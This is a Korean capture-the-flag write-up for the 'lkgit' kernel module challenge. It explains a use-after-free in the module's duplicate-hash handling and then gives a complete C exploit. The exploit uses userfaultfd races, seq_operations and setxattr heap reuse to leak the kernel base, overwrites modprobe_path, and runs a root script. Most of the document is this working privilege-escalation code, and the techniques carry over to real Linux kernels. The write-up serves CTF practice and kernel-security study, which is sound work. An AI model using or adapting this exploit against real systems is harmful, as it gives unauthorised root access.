lkgit

취약점 분석

lkgit.ko는 최대 0x30개의 Git 객체를 전역 objects 배열에 저장한다. 커널 객체와 사용자 요청 구조체의 형태는 다음과 같다.

struct hash_object {
    char hash[0x10];
    char *content;
    char *message;
};                              // 0x20 bytes, kmalloc-32
 
struct log_object {
    char hash[0x10];
    char content[0x40];
    char message[0x20];
};                              // 0x70 bytes

1. 중복 해시 교체 과정의 Use-After-Free

LKGIT_HASH_OBJECT를 처리하는 lkgit_hash_object()는 새 객체의 해시와 같은 객체를 찾으면 기존 hash_object를 즉시 해제한다. 이 함수는 컴파일 과정에서 lkgit_ioctl() 내부에 인라인되었다.

old_idx = find_by_hash(new_obj->hash);
if (old_idx != -1) {
    kfree(objects[old_idx]);
    objects[old_idx] = NULL;
}
 
for (i = 0; i < HISTORY_MAXSZ; i++) {
    if (objects[i] == NULL) {
        objects[i] = new_obj;
        return 0;
    }
}

objects에 대한 잠금이나 참조 횟수 관리가 없다. 따라서 lkgit_get_object() 또는 lkgit_amend_message()가 기존 객체 포인터를 보관한 동안 같은 해시를 다시 등록하면 사용 중인 0x20바이트 객체가 해제된다. 해제된 청크를 다른 kmalloc-32 객체로 재할당하면 저장된 포인터를 통해 새 객체의 데이터를 읽거나 포인터 필드를 조작할 수 있다.

기존 객체의 contentmessage는 함께 해제되지 않으므로 메모리 누수도 발생한다.

2. Userfaultfd로 확장 가능한 stale pointer 사용

lkgit_get_object()는 전역 배열에서 얻은 obj를 여러 copy_to_user() 호출에 걸쳐 계속 사용한다. 마지막에는 obj의 첫 0x10바이트를 사용자에게 복사한다.

obj = objects[find_by_hash(req->hash)];
 
if (copy_to_user(req->content, obj->content, 0x40))
    return LKGIT_ERR_UNKNOWN;
 
/* content의 해시 검증 */
 
if (copy_to_user(req->message, obj->message, 0x20))
    return LKGIT_ERR_UNKNOWN;
 
if (copy_to_user(req, obj, 0x10))
    return LKGIT_ERR_UNKNOWN;

req->message가 userfaultfd로 등록된 미할당 페이지에 위치하면 해당 copy_to_user()를 중단할 수 있다. 중단된 동안 동일 해시 객체를 등록해 obj를 해제하고 struct seq_operations로 재할당하면, 마지막 copy_to_user(req, obj, 0x10)이 함수 포인터를 유출한다.

lkgit_amend_message()에도 같은 문제가 있다. 이 함수는 obj를 먼저 구한 뒤 사용자 메모리에서 새 메시지를 읽고, 마지막에 obj->message를 목적지로 사용한다.

obj = objects[find_by_hash(req->hash)];
 
if (copy_from_user(new_message, req->message, 0x20))
    return LKGIT_ERR_UNKNOWN;
 
ret = lkgit_get_object(req);
memcpy(obj->message, new_message, 0x20);

copy_from_user()를 userfaultfd로 중단한 뒤 obj를 해제하고 공격자 데이터로 재할당할 수 있다. 재할당된 청크의 +0x18을 원하는 주소로 설정하면 obj->message가 그 주소를 가리키므로 0x20바이트 임의 쓰기가 가능하다.

Exploit 과정

Step 1: 객체 생성 및 userfaultfd 배치

두 페이지를 연속으로 매핑하고 두 번째 페이지만 userfaultfd에 등록한다. 요청 구조체를 첫 페이지 끝의 -0x50 위치에 두면 hashcontent는 첫 페이지에 있고, message는 두 번째 페이지의 시작에 놓인다.

page2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
             MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page1 = mmap(page2 - 0x1000, 0x1000, PROT_READ | PROT_WRITE,
             MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
 
setup_userfaultfd(page2, 0x1000);
 
ioctl(fd, LKGIT_HASH_OBJECT, &obj);
memcpy(page1 + 0x1000 - 0x40 - 0x10, obj.hash, HASH_SIZE);

GET_OBJECTmessage를 복사할 때 두 번째 페이지에서 page fault가 발생한다.

Step 2: seq_operations 재할당과 커널 베이스 유출

첫 page fault에서 같은 obj를 다시 등록한다. 중복 해시 처리로 GET_OBJECT가 보관 중인 기존 hash_object가 해제된다. 이어서 /proc/self/stat을 열면 single_open()이 할당하는 0x20바이트 struct seq_operations가 해당 청크를 재사용한다.

if (uffd_count++ == 0) {
    ioctl(fd, LKGIT_HASH_OBJECT, &obj);
    seq_op = open("/proc/self/stat", O_RDONLY);
}

page fault를 해제하면 lkgit_get_object()의 마지막 copy_to_user()가 재할당된 seq_operations의 앞 0x10바이트를 반환한다. 첫 필드는 single_start 함수 포인터이다. single_start의 커널 이미지 오프셋은 0x1adc20이고 modprobe_path의 오프셋은 0xc3cb20이다.

kbase = *(uint64_t *)(page1 + 0x1000 - 0x40 - 0x10) - 0x1adc20;
modprobe_path_addr = kbase + 0xc3cb20;

Step 3: setxattr 재할당으로 임의 쓰기 구성

madvise(MADV_DONTNEED)로 두 번째 페이지를 다시 미할당 상태로 만든 뒤 같은 경계 주소로 LKGIT_AMEND_MESSAGE를 호출한다. 함수는 대상 hash_object 포인터를 rbx에 저장한 다음 req->message를 읽다가 두 번째 page fault에서 중단된다.

madvise(page2, 0x1000, MADV_DONTNEED);
memcpy(page1 + 0x1000 - 0x40 - 0x10, obj.hash, HASH_SIZE);
ioctl(fd, LKGIT_AMEND_MESSAGE, page1 + 0x1000 - 0x40 - 0x10);

두 번째 fault handler는 같은 해시를 다시 등록해 보관 중인 객체를 해제한다. 이어서 크기 0x20인 xattr 값을 전달한다. setxattr()의 임시 커널 버퍼가 해제된 kmalloc-32 청크를 재사용하며, hash_object.message와 같은 +0x18 위치에 modprobe_path 주소가 놓인다.

ioctl(fd, LKGIT_HASH_OBJECT, &obj);
 
char buf[0x20] = {0};
*(uint64_t *)(buf + 0x18) = modprobe_path_addr;
setxattr("/tmp", "x", buf, sizeof(buf), 0);

handler가 faulting page에 /tmp/ex를 복사하면 lkgit_amend_message()new_message에는 이 문자열이 저장된다. 함수가 재개된 뒤 stale pointer의 +0x18을 목적지로 읽으므로 modprobe_path/tmp/ex가 기록된다.

memset((void *)uffdio_copy.src, 0, 0x1000);
strcpy((char *)uffdio_copy.src, "/tmp/ex\0");

Step 4: modprobe_path 실행과 플래그 획득

/tmp/ex에 플래그 권한을 변경하는 스크립트를 만든다. 알 수 없는 형식의 실행 파일을 실행하면 커널이 변경된 modprobe_path를 호출하고 스크립트가 root 권한으로 실행된다.

system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag\n' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /home/user/flag");

Exploit Code

#define _GNU_SOURCE
 
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
 
#define LKGIT_HASH_OBJECT 0xdead0001
#define LKGIT_AMEND_MESSAGE 0xdead0003
#define LKGIT_GET_OBJECT 0xdead0004
 
#define LKGIT_ERR_UNIMPLEMENTED 0xdead1000
#define LKGIT_ERR_OBJECT_NOTFOUND 0xdead1001
#define LKGIT_ERR_UNKNOWN 0xdead1100
 
#define FILE_MAXSZ 0x40
#define MESSAGE_MAXSZ 0x20
#define HISTORY_MAXSZ 0x30
 
#define HASH_SIZE 0x10
 
typedef struct
{
    char hash[HASH_SIZE];
    char *content;
    char *message;
} hash_object;
 
typedef struct
{
    char hash[HASH_SIZE];
    char content[FILE_MAXSZ];
    char message[MESSAGE_MAXSZ];
} log_object;
 
hash_object obj;
uint64_t fd, page1, page2, seq_op, kbase, modprobe_path_addr;
int uffd_count = 0;
 
void *uffd_handler(void *arg)
{
    while (1)
    {
        struct uffd_msg msg;
        ssize_t nread = read((int)(long)arg, &msg, sizeof(msg));
        if (nread == 0)
        {
            info("uffd_handler: EOF");
            break;
        }
        else if (nread == -1)
        {
            perror("uffd_handler: read");
            break;
        }
 
        if (msg.event != UFFD_EVENT_PAGEFAULT)
        {
            info("uffd_handler: unexpected event %u", msg.event);
            continue;
        }
 
        info("uffd_handler: pagefault at %p", (void *)msg.arg.pagefault.address);
 
        if (uffd_count++ == 0)
        {
            // first page fault, just return to let the kernel handle it
            info("uffd_handler: first page fault, returning");
            // create a second object with the same hash to free the first one
            ioctl(fd, LKGIT_HASH_OBJECT, &obj);
            seq_op = open("/proc/self/stat", O_RDONLY);
        }
        else
        {
            // second page fault, overwrite obj->message with modprobe_path address
            info("uffd_handler: second page fault, overwriting obj->message with modprobe_path address");
            ioctl(fd, LKGIT_HASH_OBJECT, &obj);
 
            char buf[0x20] = {0};
            *(uint64_t *)(buf + 0x18) = modprobe_path_addr;
            setxattr("/tmp", "x", buf, sizeof(buf), 0);
        }
 
        // Allocate a new page and copy the contents to the faulting address
        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long)malloc(0x1000);
        memset((void *)uffdio_copy.src, 0, 0x1000);
        strcpy((char *)uffdio_copy.src, "/tmp/ex\0"); // 아마 이쪽에 strcpy로 원하는 내용을 넣어야 할 것 같음
        uffdio_copy.dst = msg.arg.pagefault.address & ~(0xFFF);
        uffdio_copy.len = 0x1000;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
 
        if (ioctl((int)(long)arg, UFFDIO_COPY, &uffdio_copy) == -1)
        {
            perror("uffd_handler: ioctl-UFFDIO_COPY");
            break;
        }
    }
}
 
int setup_userfaultfd(void *addr, size_t len)
{
    int uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
    {
        perror("userfaultfd");
        return -1;
    }
 
    struct uffdio_api uffdio_api;
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    {
        perror("ioctl-UFFDIO_API");
        return -1;
    }
 
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    {
        perror("ioctl-UFFDIO_REGISTER");
        return -1;
    }
 
    pthread_t uffd_thread;
    if (pthread_create(&uffd_thread, NULL, uffd_handler, (void *)(long)uffd) != 0)
    {
        perror("pthread_create");
        return -1;
    }
 
    return uffd;
}
 
int main()
{
    important("happy hacking!");
 
    fd = open("/dev/lkgit", O_RDWR);
    if (fd < 0)
    {
        perror("open");
        return 1;
    }
    info("opened /dev/lkgit");
 
    // create two maps for userfaultfd
    page2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    page1 = mmap(page2 - 0x1000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    memset(page1, 0, 0x1000);
    info("mmaped two pages at %p and %p", page1, page2);
 
    // set up userfaultfd
    int uffd = setup_userfaultfd(page2, 0x1000);
 
    // create a new object
    memset(&obj, 0, sizeof(obj));
 
    obj.content = malloc(FILE_MAXSZ);
    obj.message = malloc(MESSAGE_MAXSZ);
    memset(obj.content, 0, FILE_MAXSZ);
    memset(obj.message, 0, MESSAGE_MAXSZ);
 
    strcpy(obj.content, "hello world");
    strcpy(obj.message, "first commit");
 
    ioctl(fd, LKGIT_HASH_OBJECT, &obj);
    info("new object created");
    hexdump(&obj, sizeof(obj));
 
    // trigger the page fault by accessing the first page
    memcpy(page1 + 0x1000 - 0x40 - 0x10, obj.hash, HASH_SIZE);
    info("triggering page fault by accessing page1");
    ioctl(fd, LKGIT_GET_OBJECT, page1 + 0x1000 - 0x40 - 0x10);
    hexdump(page1 + 0x1000 - 0x40 - 0x10, 0x10);
 
    // leak the kernel base and modprobe_path address
    kbase = *(uint64_t *)(page1 + 0x1000 - 0x40 - 0x10) - 0x1adc20;
    modprobe_path_addr = kbase + 0xc3cb20;
    info("kernel base: %p", (void *)kbase);
    info("modprobe_path: %p", (void *)modprobe_path_addr);
 
    // delete page2
    madvise(page2, 0x1000, MADV_DONTNEED);
 
    // overwrite modprobe_path with "/tmp/ex"
    memcpy(page1 + 0x1000 - 0x40 - 0x10, obj.hash, HASH_SIZE);
    info("triggering page fault by accessing page1");
    ioctl(fd, LKGIT_AMEND_MESSAGE, page1 + 0x1000 - 0x40 - 0x10);
 
    // set up the modprobe_path overwrite script
    system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag\n' > /tmp/ex");
    system("chmod +x /tmp/ex");
 
    // trigger the modprobe_path execution
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");
 
    // read the flag
    system("cat /home/user/flag");
 
    return 0;
}